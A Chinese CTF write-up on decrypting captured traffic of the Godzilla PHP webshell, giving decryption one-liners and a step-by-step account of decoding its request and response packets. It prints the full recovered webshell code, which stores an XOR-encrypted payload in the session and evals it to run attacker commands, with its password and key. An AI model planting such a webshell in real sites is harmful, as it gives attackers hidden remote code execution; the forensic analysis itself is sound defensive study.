PCTF wyz大战哥斯拉 wp
PCTF wyz大战哥斯拉
下面两个应该只适用PHP_XOR_BASE64算法解密代码
echo encode(base64_decode(urldecode('')),$key);
echo gzdecode(encode(base64_decode(''), $key));
和菜刀一样,webshell,直接搜http流量
第一个request数据包,wyz里的值解密后为shell代码
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D, $K)
{
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}
$pass = 'sb';
$payloadName = 'payload';
$key = '26148d621ef74844';
if (isset($_POST[$pass])) {
$data = encode(base64_decode($_POST[$pass]), $key);
if (isset($_SESSION[$payloadName])) {
$payload = encode($_SESSION[$payloadName], $key);
if (strpos($payload, "getBasicsInfo") === false) {
$payload = encode($payload, $key);
}
eval($payload);
echo substr(md5($pass . $key), 0, 16);
echo base64_encode(encode(@run($data), $key));
echo substr(md5($pass . $key), 16);
} else {
if (strpos($data, "getBasicsInfo") !== false) {
$_SESSION[$payloadName] = encode($data, $key);
}
}
}
pass为sb,key为26148d621ef74844
第二个request数据包,带入第一个解密代码,得到test
第三个request数据包是g_close,盲猜是关闭连接,接下来哥斯拉又发送了test信息的包,接着发送了getBasicsInfo
对于test和getBasicInfo请求和相应包如下
上面是哥斯拉命令执行请求包的值,下面是服务器response包值,将前16个字符删掉(后16个也要删)就变成和上面一样的结构了
下面的命令执行包(举一个例子)
哥斯拉总结
对于PHP_XOR_BASE64:
对于MethodName的请求包,丢到第一个解密算法
请求命令包丢到第二个解密算法
response包先删前16个字符,再删后16字符,得到和命令包一样的结构后,丢到第二个解密算法
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理